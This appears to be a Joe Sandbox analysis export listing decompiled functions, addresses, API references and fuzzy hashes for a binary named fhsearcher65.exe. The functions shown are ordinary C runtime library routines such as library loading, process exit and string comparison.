0x00424050
0x00424055
0x00424057
0x0042405a
0x0042405a
0x00424072
0x00424074
0x00000000
0x00000000
0x0042407d
0x00424080
0x00424083
0x00424085
0x00424087
0x00000000
0x00424089
0x00424089
0x0042408c
0x00000000
0x0042408c
0x00000000
0x00424087
0x00424102
0x0042418e
0x00424191
0x00424195
0x0042419e
0x004241a1
0x004241a5
0x004241a5
0x004241a7
0x004241aa
0x004241ac
0x004241ae
0x004241b0
0x004241b5
0x004241b6
0x004241ba
0x004241ba
0x004241be
0x004241c1
0x004241c1
0x004241c5
0x00000000
0x004241cc
0x00423ffe
0x00423ffe
0x00424005
0x00424006
0x00424008
0x004241cd
0x004241d1
0x004241d1
0x00000000

APIs

_strpbrk.LIBCMT ref: 0042403C
_free.LIBCMT ref: 00424188

Strings

*?, xrefs: 00424031

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: a050ba51c68dd2f6a83959d6b4595b7304e937643ef59868ca146369180ad406
Instruction ID: 31e99ae7a9d96c8b25ffc1b91488a62c54516c3f1beba152310ccbec282d8b73
Opcode Fuzzy Hash: a050ba51c68dd2f6a83959d6b4595b7304e937643ef59868ca146369180ad406
Instruction Fuzzy Hash: 75617FB5E002299FDF14CFA9D8819EEFBF5EF98314B54816AE805E7300D7359E818B94

Uniqueness

Uniqueness Score: -1.00%

Function 004245B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004245B3(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E00420444(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E00420444(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E0041396B(GetLastError());
									_t17 =  *((intOrPtr*)(E004139A1(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E0041A142(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E0041396B(GetLastError());
						_t17 =  *((intOrPtr*)(E004139A1(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E0041A142(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E0041A1C7(_a8);
				return 0;
			}

0x004245b9
0x004245be
0x004245d2
0x004245d5
0x00424607
0x0042460f
0x00424611
0x0042462a
0x0042462d
0x00424630
0x0042463e
0x0042464d
0x00424655
0x00424657
0x00424670
0x00424673
0x00424673
0x00424659
0x00424660
0x0042466b
0x0042466b
0x00424675
0x00424676
0x00000000
0x00424676
0x00424635
0x0042463a
0x0042463c
0x00000000
0x00000000
0x00000000
0x0042463c
0x0042461a
0x00424625
0x00000000
0x00424625
0x004245d7
0x004245da
0x004245dd
0x004245f0
0x004245f3
0x004245f5
0x004245f7
0x00000000
0x004245f7
0x004245e3
0x004245e8
0x004245ea
0x00000000
0x00000000
0x00000000
0x004245ea
0x004245c3
0x00000000

Strings

C:\Program Files (x86)\fhSearcher\fhsearcher65.exe, xrefs: 004245B8

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
API String ID: 0-2024707453
Opcode ID: 69ef0a19d16ed832991be1ac6899432db3f95619588f9b7e4da384f3d8da2b51
Instruction ID: bae83abc02f2d4ba370fd00b33d0ef55a155b0212f6fa40ccf339bb359e04bdd
Opcode Fuzzy Hash: 69ef0a19d16ed832991be1ac6899432db3f95619588f9b7e4da384f3d8da2b51
Instruction Fuzzy Hash: 822137717001257FDB20AF76EC40E6B779DEF81368740451AF52493241EB3CDC818769

Uniqueness

Uniqueness Score: -1.00%

Function 10009A2A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10009A2A(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E1000A4B8(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E1000A4B8(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E100063D0(GetLastError());
									_t17 =  *((intOrPtr*)(E10006406(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E10009AF1(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E100063D0(GetLastError());
						_t17 =  *((intOrPtr*)(E10006406(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E10009AF1(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E10009B18(_a8);
				return 0;
			}

0x10009a30
0x10009a35
0x10009a49
0x10009a4c
0x10009a7e
0x10009a86
0x10009a88
0x10009aa1
0x10009aa4
0x10009aa7
0x10009ab5
0x10009ac4
0x10009acc
0x10009ace
0x10009ae7
0x10009aea
0x10009aea
0x10009ad0
0x10009ad7
0x10009ae2
0x10009ae2
0x10009aec
0x10009aed
0x00000000
0x10009aed
0x10009aac
0x10009ab1
0x10009ab3
0x00000000
0x00000000
0x00000000
0x10009ab3
0x10009a91
0x10009a9c
0x00000000
0x10009a9c
0x10009a4e
0x10009a51
0x10009a54
0x10009a67
0x10009a6a
0x10009a6c
0x10009a6e
0x00000000
0x10009a6e
0x10009a5a
0x10009a5f
0x10009a61
0x00000000
0x00000000
0x00000000
0x10009a61
0x10009a3a
0x00000000

Strings

C:\Program Files (x86)\fhSearcher\fhsearcher65.exe, xrefs: 10009A2F

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID:
String ID: C:\Program Files (x86)\fhSearcher\fhsearcher65.exe
API String ID: 0-2024707453
Opcode ID: e9296d43ca75f7937d2bfdf5c651374163314c5b883c374609abe0d00f2d06f1
Instruction ID: f719ca89bfa5e63d0542726edbeff2ced601996c164ddfce3f4ce27f4cb91101
Opcode Fuzzy Hash: e9296d43ca75f7937d2bfdf5c651374163314c5b883c374609abe0d00f2d06f1
Instruction Fuzzy Hash: 1A21F07170421AAFFB10DF619C80D1B77ADEF062E4B218624F924D7198EB70EC0087E2

Uniqueness

Uniqueness Score: -1.00%

Function 00413327 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00413327(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x4505f0 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x42fb4c + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E00416664(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x0041332e
0x004133a2
0x00413333
0x00413335
0x0041333c
0x00413340
0x00413349
0x00413358
0x00413361
0x00413365
0x004133ae
0x004133b0
0x004133b4
0x004133b7
0x004133b7
0x004133bd
0x004133bd
0x004133a9
0x004133ad
0x004133ad
0x00413367
0x00413370
0x0041339a
0x0041339d
0x0041339f
0x0041339f
0x00000000
0x0041339f
0x00413372
0x0041337d
0x00413382
0x00413387
0x00000000
0x00000000
0x0041338e
0x00413394
0x00413398
0x00000000
0x00000000
0x00000000
0x00413398
0x00413345
0x00000000
0x00000000
0x00000000
0x00413347
0x004133a7
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,004133E8,?,?,00450598,00000000,?,00413513,00000004,InitializeCriticalSectionEx,0042FC40,InitializeCriticalSectionEx,00000000), ref: 004133B7

Strings

api-ms-, xrefs: 00413377

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 1a234b940769df153807f2f8457fd7efa6b9557a3f6a313264f62211ba6c1823
Instruction ID: 5cfabf95d91c92c0be637f79b271c09513caebd4bcc2a94884de6c09f29cc099
Opcode Fuzzy Hash: 1a234b940769df153807f2f8457fd7efa6b9557a3f6a313264f62211ba6c1823
Instruction Fuzzy Hash: 2311CA31A41228EBDB324F699C44B9E3764AF01772F550232ED25E7380DB78EE4186DD

Uniqueness

Uniqueness Score: -1.00%

Function 10005952 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10005952(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x10017d58 + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x10010bf0 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E10007808(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x10005959
0x100059cd
0x1000595e
0x10005960
0x10005967
0x1000596b
0x10005974
0x10005983
0x1000598c
0x10005990
0x100059d9
0x100059db
0x100059df
0x100059e2
0x100059e2
0x100059e8
0x100059e8
0x100059d4
0x100059d8
0x100059d8
0x10005992
0x1000599b
0x100059c5
0x100059c8
0x100059ca
0x100059ca
0x00000000
0x100059ca
0x1000599d
0x100059a8
0x100059ad
0x100059b2
0x00000000
0x00000000
0x100059b9
0x100059bf
0x100059c3
0x00000000
0x00000000
0x00000000
0x100059c3
0x10005970
0x00000000
0x00000000
0x00000000
0x10005972
0x100059d2
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,10005A13,00000000,?,00000001,00000000,?,10005A8A,00000001,FlsFree,10010CAC,FlsFree,00000000), ref: 100059E2

Strings

api-ms-, xrefs: 100059A2

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: 05dae4829f89c238065b3f81865d8903e6a2693040ccf54503ed27d823b8eae0
Instruction ID: d85896a24450fc99b6d677e93262eca8bfdbf032966a5c4c6ca1d277b34163f7
Opcode Fuzzy Hash: 05dae4829f89c238065b3f81865d8903e6a2693040ccf54503ed27d823b8eae0
Instruction Fuzzy Hash: 88115431A41625E7FB12CB588C45B4A37E4EF057F1F224251F954AB188D7B1ED0086D5

Uniqueness

Uniqueness Score: -1.00%

Function 00417FA1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E00417FA1(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x42e234(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x00417fa7
0x00417fab
0x00417fb6
0x00417fbe
0x00417fc9
0x00417fcf
0x00417fd3
0x00417fda
0x00417fe0
0x00417fe0
0x00417fe2
0x00417fe7
0x00000000
0x00417fec
0x00417ff3

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,00417F96,0041CFCF,?,00417F5E,00000000,?,0041CFCF), ref: 00417FB6
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00417FC9
FreeLibrary.KERNEL32(00000000,?,?,00417F96,0041CFCF,?,00417F5E,00000000,?,0041CFCF), ref: 00417FEC

Strings

CorExitProcess, xrefs: 00417FC1
mscoree.dll, xrefs: 00417FAF

Memory Dump Source

Source File: 00000002.00000002.338947885.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.339063146.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_fhsearcher65.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 45b6e53430105db54ba727b51daa37ece34f640119c748234f3aa513a62590f8
Instruction ID: d9536c24f15bcb3ea19a903652847d4e715ba10250311918bd65ce562825a017
Opcode Fuzzy Hash: 45b6e53430105db54ba727b51daa37ece34f640119c748234f3aa513a62590f8
Instruction Fuzzy Hash: B7F08231604219FBDB219B51DC09FDE7B78EF00751F504061E401A11A0CF748E02DB98

Uniqueness

Uniqueness Score: -1.00%

Function 10006D66 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E10006D66(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				_Unknown_base(*)()* _t8;
				_Unknown_base(*)()* _t14;

				_v8 = _v8 & 0x00000000;
				_t8 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t8, __ecx);
				if(_t8 != 0) {
					_t8 = GetProcAddress(_v8, "CorExitProcess");
					_t14 = _t8;
					if(_t14 != 0) {
						 *0x10010164(_a4);
						_t8 =  *_t14();
					}
				}
				if(_v8 != 0) {
					return FreeLibrary(_v8);
				}
				return _t8;
			}

0x10006d6c
0x10006d70
0x10006d7b
0x10006d83
0x10006d8e
0x10006d94
0x10006d98
0x10006d9f
0x10006da5
0x10006da5
0x10006da7
0x10006dac
0x00000000
0x10006db1
0x10006db8

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,10006D18,10007C68,?,10006CE0,10002482,?,10007C68), ref: 10006D7B
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 10006D8E
FreeLibrary.KERNEL32(00000000,?,?,10006D18,10007C68,?,10006CE0,10002482,?,10007C68), ref: 10006DB1

Strings

mscoree.dll, xrefs: 10006D74
CorExitProcess, xrefs: 10006D86

Memory Dump Source

Source File: 00000002.00000002.340481351.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.340475295.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340502099.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340514193.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.340522214.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_fhsearcher65.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: db8878897a761d3f804d4e4fac8edfdfd5bd9024b52660bc89352341890e853e
Instruction ID: d2a57dd25697f495839985113eab26af44f550b47abe90b3ea9ba5ee1bafc218
Opcode Fuzzy Hash: db8878897a761d3f804d4e4fac8edfdfd5bd9024b52660bc89352341890e853e
Instruction Fuzzy Hash: B3F0A730B01228FBFB02DB90CD09BDD7ABAEF08396F104064F881A2164CBB4CE00DB91

Uniqueness

Uniqueness Score: -1.00%

Function 0042A8BA Relevance: 7.7, APIs: 5, Instructions: 244
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E0042A8BA(signed int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, intOrPtr* _a20, intOrPtr* _a24, intOrPtr _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				intOrPtr* _v32;
				signed int _v36;
				intOrPtr* _v40;
				signed int _v44;
				intOrPtr _v48;
				void* _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t55;
				intOrPtr* _t60;
				int _t62;
				signed int _t65;
				signed int _t66;
				intOrPtr* _t67;
				void* _t69;
				signed int _t70;
				signed int _t71;
				intOrPtr* _t77;
				char* _t79;
				char* _t80;
				intOrPtr _t95;
				intOrPtr _t96;
				intOrPtr* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t107;
				void* _t108;
				intOrPtr* _t109;

				_t55 =  *0x43d054; // 0xd71f2cec
				_v8 = _t55 ^ _t104;
				_t103 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t59 = _a24;
				_v40 = _a24;
				_t102 = _a16;
				_v36 = _t102;
				if(_t103 <= 0) {
					if(_t103 < 0xffffffff) {
						goto L60;
					} else {
						goto L3;
					}
				} else {
					_t103 = E0041A03D(_t102, _t103);
					_t59 = _v40;
					L3:
					_t85 = _a28;
					if(_t85 <= 0) {
						if(_t85 < 0xffffffff) {
							goto L60;
						} else {
							goto L6;
						}
					} else {
						_t85 = E0041A03D(_t59, _t85);
						L6:
						_t62 = _a32;
						if(_t62 == 0) {
							_t62 =  *( *_v44 + 8);
							_a32 = _t62;
						}
						if(_t103 == 0 || _t85 == 0) {
							if(_t103 == _t85) {
								L59:
								_push(2);
								goto L22;
							} else {
								if(_t85 > 1) {
									L31:
									_t60 = 1;
								} else {
									if(_t103 > 1) {
										L21:
										_push(3);
										goto L22;
									} else {
										if(GetCPInfo(_t62,  &_v28) == 0) {
											goto L60;
										} else {
											if(_t103 <= 0) {
												if(_t85 <= 0) {
													goto L32;
												} else {
													if(_v28 >= 2) {
														_t79 =  &_v22;
														if(_v22 != 0) {
															_t103 = _v40;
															while(1) {
																_t95 =  *((intOrPtr*)(_t79 + 1));
																if(_t95 == 0) {
																	goto L31;
																}
																_t101 =  *_t103;
																if(_t101 <  *_t79 || _t101 > _t95) {
																	_t79 = _t79 + 2;
																	if( *_t79 != 0) {
																		continue;
																	} else {
																		goto L31;
																	}
																} else {
																	goto L59;
																}
																goto L61;
															}
														}
													}
													goto L31;
												}
											} else {
												if(_v28 >= 2) {
													_t80 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t96 =  *((intOrPtr*)(_t80 + 1));
															if(_t96 == 0) {
																goto L21;
															}
															_t101 =  *_t102;
															if(_t101 <  *_t80 || _t101 > _t96) {
																_t80 = _t80 + 2;
																if( *_t80 != 0) {
																	continue;
																} else {
																	goto L21;
																}
															} else {
																goto L59;
															}
															goto L22;
														}
													}
												}
												goto L21;
												L22:
												_pop(_t60);
											}
										}
									}
								}
							}
						} else {
							L32:
							_t102 = 0;
							_t65 = E004201F8(_a32, 9, _v36, _t103, 0, 0);
							_t107 = _t105 + 0x18;
							_v44 = _t65;
							if(_t65 == 0) {
								L60:
								_t60 = 0;
							} else {
								_t101 = _t65 + _t65 + 8;
								asm("sbb eax, eax");
								_t66 = _t65 & _t65 + _t65 + 0x00000008;
								if(_t66 == 0) {
									_t67 = 0;
									_v32 = 0;
									goto L41;
								} else {
									if(_t66 > 0x400) {
										_t77 = E0041F0DF(_t66);
										_v32 = _t77;
										if(_t77 == 0) {
											goto L57;
										} else {
											 *_t77 = 0xdddd;
											goto L39;
										}
									} else {
										E0040F930(_t66);
										_t77 = _t107;
										_v32 = _t77;
										if(_t77 == 0) {
											L57:
											_t85 = _v32;
										} else {
											 *_t77 = 0xcccc;
											L39:
											_t67 = _t77 + 8;
											_v32 = _t67;
											L41:
											if(_t67 == 0) {
												goto L57;
											} else {
												_t103 = _a32;
												_t69 = E004201F8(_a32, 1, _v36, _a32, _t67, _v44);
												_t108 = _t107 + 0x18;
												if(_t69 == 0) {
													goto L57;
												} else {
													_t70 = E004201F8(_t103, 9, _v40, _t85, _t102, _t102);
													_t109 = _t108 + 0x18;
													_v36 = _t70;
													if(_t70 == 0) {
														goto L57;
													} else {
														_t101 = _t70 + _t70 + 8;
														asm("sbb eax, eax");
														_t71 = _t70 & _t70 + _t70 + 0x00000008;
														if(_t71 == 0) {
															_t103 = _t102;
															goto L52;
														} else {
															if(_t71 > 0x400) {
																_t103 = E0041F0DF(_t71);
																if(_t103 == 0) {
																	goto L55;
																} else {
																	 *_t103 = 0xdddd;
																	goto L50;
																}
															} else {
																E0040F930(_t71);
																_t103 = _t109;
																if(_t103 == 0) {
																	L55:
																	_t85 = _v32;
																} else {
																	 *_t103 = 0xcccc;
																	L50:
																	_t103 = _t103 + 8;
																	L52:
																	if(_t103 == 0 || E004201F8(_a32, 1, _v40, _t85, _t103, _v36) == 0) {
																		goto L55;
																	} else {
																		_t85 = _v32;
																		_t102 = E0041EA21(_v48, _a12, _v32, _v44, _t103, _v36, _t102, _t102, _t102);
																	}
																}
															}
														}
														E0040EF51(_t103);
													}
												}
											}
										}
									}
								}
								E0040EF51(_t85);
								_t60 = _t102;
							}
						}
					}
				}
				L61:
				return E0040EF6F(_t60, _t85, _v8 ^ _t104, _t101, _t102, _t103);
			}

0x0042a8c2
0x0042a8c9
0x0042a8d1
0x0042a8d4
0x0042a8da
0x0042a8dd
0x0042a8e0
0x0042a8e4
0x0042a8e7
0x0042a8ec
0x0042a901
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a8ee
0x0042a8f6
0x0042a8f8
0x0042a907
0x0042a907
0x0042a90c
0x0042a91e
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a90e
0x0042a917
0x0042a924
0x0042a924
0x0042a929
0x0042a930
0x0042a933
0x0042a933
0x0042a938
0x0042a944
0x0042ab2a
0x0042ab2a
0x00000000
0x0042a94a
0x0042a94d
0x0042a9d6
0x0042a9d8
0x0042a953
0x0042a956
0x0042a99b
0x0042a99b
0x00000000
0x0042a958
0x0042a965
0x00000000
0x0042a96b
0x0042a96d
0x0042a9a5
0x00000000
0x0042a9a7
0x0042a9ab
0x0042a9b1
0x0042a9b4
0x0042a9b6
0x0042a9b9
0x0042a9b9
0x0042a9be
0x00000000
0x00000000
0x0042a9c0
0x0042a9c4
0x0042a9ce
0x0042a9d4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a9c4
0x0042a9b9
0x0042a9b4
0x00000000
0x0042a9ab
0x0042a96f
0x0042a973
0x0042a979
0x0042a97c
0x0042a97e
0x0042a97e
0x0042a983
0x00000000
0x00000000
0x0042a985
0x0042a989
0x0042a993
0x0042a999
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042a989
0x0042a97e
0x0042a97c
0x00000000
0x0042a99d
0x0042a99d
0x0042a99d
0x0042a96d
0x0042a965
0x0042a956
0x0042a94d
0x0042a9de
0x0042a9de
0x0042a9de
0x0042a9eb
0x0042a9f0
0x0042a9f3
0x0042a9f8
0x0042ab31
0x0042ab31
0x0042a9fe
0x0042aa01
0x0042aa06
0x0042aa08
0x0042aa0a
0x0042aa4d
0x0042aa4f
0x00000000
0x0042aa0c
0x0042aa11
0x0042aa2e
0x0042aa33
0x0042aa39
0x00000000
0x0042aa3f
0x0042aa3f
0x00000000
0x0042aa3f
0x0042aa13
0x0042aa13
0x0042aa18
0x0042aa1a
0x0042aa1f
0x0042ab1c
0x0042ab1c
0x0042aa25
0x0042aa25
0x0042aa45
0x0042aa45
0x0042aa48
0x0042aa52
0x0042aa54
0x00000000
0x0042aa5a
0x0042aa62
0x0042aa68
0x0042aa6d
0x0042aa72
0x00000000
0x0042aa78
0x0042aa81
0x0042aa86
0x0042aa89
0x0042aa8e
0x00000000
0x0042aa94
0x0042aa97
0x0042aa9c
0x0042aa9e
0x0042aaa0
0x0042aad4
0x00000000
0x0042aaa2
0x0042aaa7
0x0042aac2
0x0042aac7
0x00000000
0x0042aac9
0x0042aac9
0x00000000
0x0042aac9
0x0042aaa9
0x0042aaa9
0x0042aaae
0x0042aab2
0x0042ab10
0x0042ab10
0x0042aab4
0x0042aab4
0x0042aacf
0x0042aacf
0x0042aad6
0x0042aad8
0x00000000
0x0042aaf3
0x0042aaf3
0x0042ab0c
0x0042ab0c
0x0042aad8
